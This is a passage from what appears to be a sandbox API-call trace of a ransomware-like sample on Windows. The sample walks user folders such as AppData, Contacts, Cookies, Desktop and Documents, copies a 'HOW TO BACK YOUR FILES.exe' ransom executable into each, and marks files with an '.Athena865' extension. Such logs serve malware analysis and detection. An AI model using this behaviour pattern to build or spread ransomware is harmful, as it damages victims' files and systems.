nFileSizeLow=0x800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Update.lnk.Athena865", cAlternateFileName="WINDOW~1.ATH")) returned 1 [0100.645] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Sun" | out: lpString1="C:\\Users\\All Users\\Sun") returned="C:\\Users\\All Users\\Sun" [0100.646] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.646] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Sun\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\sun\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.646] CreateFileW (lpFileName="C:\\Users\\All Users\\Sun\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\sun\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.646] GetLastError () returned 0x0 [0100.646] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.646] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.647] CloseHandle (hObject=0xf4) returned 1 [0100.647] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.647] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.647] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Sun\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xbc6551c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc6551c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529690 [0100.647] lstrcatW (in: lpString1="Java", lpString2="\\" | out: lpString1="Java\\") returned="Java\\" [0100.648] lstrcatW (in: lpString1="Java\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Java\\HOW TO BACK YOUR FILES.exe") returned="Java\\HOW TO BACK YOUR FILES.exe" [0100.648] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Sun\\Java\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\sun\\java\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.648] FindNextFileW (in: hFindFile=0x529690, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xc4cacb60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4cacb60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0 [0100.648] FindClose (in: hFindFile=0x529690 | out: hFindFile=0x529690) returned 1 [0100.648] ReleaseMutex (hMutex=0xec) returned 1 [0100.648] CloseHandle (hObject=0xec) returned 1 [0100.648] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Users\\All Users\\Templates" | out: lpString1="C:\\Users\\All Users\\Templates") returned="C:\\Users\\All Users\\Templates" [0100.648] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50fa30 | out: hHeap=0x4f0000) returned 1 [0100.648] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b0f8 | out: hHeap=0x4f0000) returned 1 [0100.648] lstrlenW (lpString="C:\\Users\\All Users\\Templates") returned 28 [0100.648] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\94DD9A82D4CAF455486B29AA125F685A") returned 0xec [0100.648] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0100.649] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Templates" | out: lpString1="C:\\Users\\All Users\\Templates") returned="C:\\Users\\All Users\\Templates" [0100.649] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.649] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\templates\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.649] CreateFileW (lpFileName="C:\\Users\\All Users\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\templates\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.649] GetLastError () returned 0x0 [0100.649] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.649] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.649] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.650] CloseHandle (hObject=0xf4) returned 1 [0100.650] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.650] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.650] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Templates\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc6551c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc6551c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529690 [0100.650] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData" | out: lpString1="C:\\Users\\Default\\AppData") returned="C:\\Users\\Default\\AppData" [0100.651] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.651] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.651] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.651] GetLastError () returned 0x0 [0100.651] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.651] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.651] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.652] CloseHandle (hObject=0xf4) returned 1 [0100.652] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.652] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.652] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcf42440, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf42440, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5296d0 [0100.652] lstrcatW (in: lpString1="Local", lpString2="\\" | out: lpString1="Local\\") returned="Local\\" [0100.652] lstrcatW (in: lpString1="Local\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Local\\HOW TO BACK YOUR FILES.exe") returned="Local\\HOW TO BACK YOUR FILES.exe" [0100.652] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.653] FindNextFileW (in: hFindFile=0x5296d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc77d1a20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc77d1a20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LocalLow", cAlternateFileName="")) returned 1 [0100.653] lstrcatW (in: lpString1="LocalLow", lpString2="\\" | out: lpString1="LocalLow\\") returned="LocalLow\\" [0100.653] lstrcatW (in: lpString1="LocalLow\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="LocalLow\\HOW TO BACK YOUR FILES.exe") returned="LocalLow\\HOW TO BACK YOUR FILES.exe" [0100.653] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\LocalLow\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\locallow\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.654] FindNextFileW (in: hFindFile=0x5296d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcf42440, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf42440, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1 [0100.654] lstrcatW (in: lpString1="Roaming", lpString2="\\" | out: lpString1="Roaming\\") returned="Roaming\\" [0100.654] lstrcatW (in: lpString1="Roaming\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Roaming\\HOW TO BACK YOUR FILES.exe") returned="Roaming\\HOW TO BACK YOUR FILES.exe" [0100.654] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\roaming\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.654] FindNextFileW (in: hFindFile=0x5296d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcf42440, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf42440, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0 [0100.654] FindClose (in: hFindFile=0x5296d0 | out: hFindFile=0x5296d0) returned 1 [0100.654] ReleaseMutex (hMutex=0xec) returned 1 [0100.655] CloseHandle (hObject=0xec) returned 1 [0100.655] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Users\\Default\\Application Data" | out: lpString1="C:\\Users\\Default\\Application Data") returned="C:\\Users\\Default\\Application Data" [0100.655] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x517708 | out: hHeap=0x4f0000) returned 1 [0100.655] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b110 | out: hHeap=0x4f0000) returned 1 [0100.655] lstrlenW (lpString="C:\\Users\\Default\\Application Data") returned 33 [0100.655] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\543A3B3B2FD1BBA8F0E11BCAB68D890F") returned 0xec [0100.655] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0100.655] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Application Data" | out: lpString1="C:\\Users\\Default\\Application Data") returned="C:\\Users\\Default\\Application Data" [0100.655] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.655] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\application data\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.655] CreateFileW (lpFileName="C:\\Users\\Default\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\application data\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.656] GetLastError () returned 0x0 [0100.656] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.656] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.656] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.657] CloseHandle (hObject=0xf4) returned 1 [0100.657] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.657] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.657] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Application Data\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcf42440, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf42440, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5296d0 [0100.657] lstrcatW (in: lpString1="Identities", lpString2="\\" | out: lpString1="Identities\\") returned="Identities\\" [0100.657] lstrcatW (in: lpString1="Identities\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Identities\\HOW TO BACK YOUR FILES.exe") returned="Identities\\HOW TO BACK YOUR FILES.exe" [0100.657] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Application Data\\Identities\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\application data\\identities\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.658] FindNextFileW (in: hFindFile=0x5296d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc77f7b80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc77f7b80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0100.658] lstrcatW (in: lpString1="Microsoft", lpString2="\\" | out: lpString1="Microsoft\\") returned="Microsoft\\" [0100.658] lstrcatW (in: lpString1="Microsoft\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft\\HOW TO BACK YOUR FILES.exe") returned="Microsoft\\HOW TO BACK YOUR FILES.exe" [0100.658] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Application Data\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\application data\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.658] FindNextFileW (in: hFindFile=0x5296d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc77f7b80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc77f7b80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0100.658] FindClose (in: hFindFile=0x5296d0 | out: hFindFile=0x5296d0) returned 1 [0100.658] ReleaseMutex (hMutex=0xec) returned 1 [0100.658] CloseHandle (hObject=0xec) returned 1 [0100.658] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Users\\Default\\Contacts" | out: lpString1="C:\\Users\\Default\\Contacts") returned="C:\\Users\\Default\\Contacts" [0100.658] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x529710 | out: hHeap=0x4f0000) returned 1 [0100.658] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b128 | out: hHeap=0x4f0000) returned 1 [0100.659] lstrlenW (lpString="C:\\Users\\Default\\Contacts") returned 25 [0100.659] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\84B822012A6A63AA1ABAA16CDD4600C2") returned 0xec [0100.659] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0100.659] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Contacts" | out: lpString1="C:\\Users\\Default\\Contacts") returned="C:\\Users\\Default\\Contacts" [0100.659] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.659] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Contacts\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\contacts\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.659] CreateFileW (lpFileName="C:\\Users\\Default\\Contacts\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\contacts\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.659] GetLastError () returned 0x0 [0100.659] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.659] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.660] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.660] CloseHandle (hObject=0xf4) returned 1 [0100.660] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.660] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.660] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Contacts\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc7843e40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7843e40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529710 [0100.661] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Cookies" | out: lpString1="C:\\Users\\Default\\Cookies") returned="C:\\Users\\Default\\Cookies" [0100.661] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.661] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Cookies\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\cookies\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.661] CreateFileW (lpFileName="C:\\Users\\Default\\Cookies\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\cookies\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.661] GetLastError () returned 0x0 [0100.661] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.661] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.662] CloseHandle (hObject=0xf4) returned 1 [0100.662] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.662] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.662] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Cookies\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7890100, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7890100, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529750 [0100.663] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Desktop" | out: lpString1="C:\\Users\\Default\\Desktop") returned="C:\\Users\\Default\\Desktop" [0100.663] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.663] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\desktop\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.663] CreateFileW (lpFileName="C:\\Users\\Default\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\desktop\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.664] GetLastError () returned 0x0 [0100.664] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.664] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.664] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.664] CloseHandle (hObject=0xf4) returned 1 [0100.665] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.665] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.665] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Desktop\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc78b6260, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc78b6260, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529790 [0100.665] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Documents" | out: lpString1="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0100.665] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.665] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\documents\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.665] CreateFileW (lpFileName="C:\\Users\\Default\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\documents\\how to back your files.exe"), dwDesiredAccess=0xc0000000, 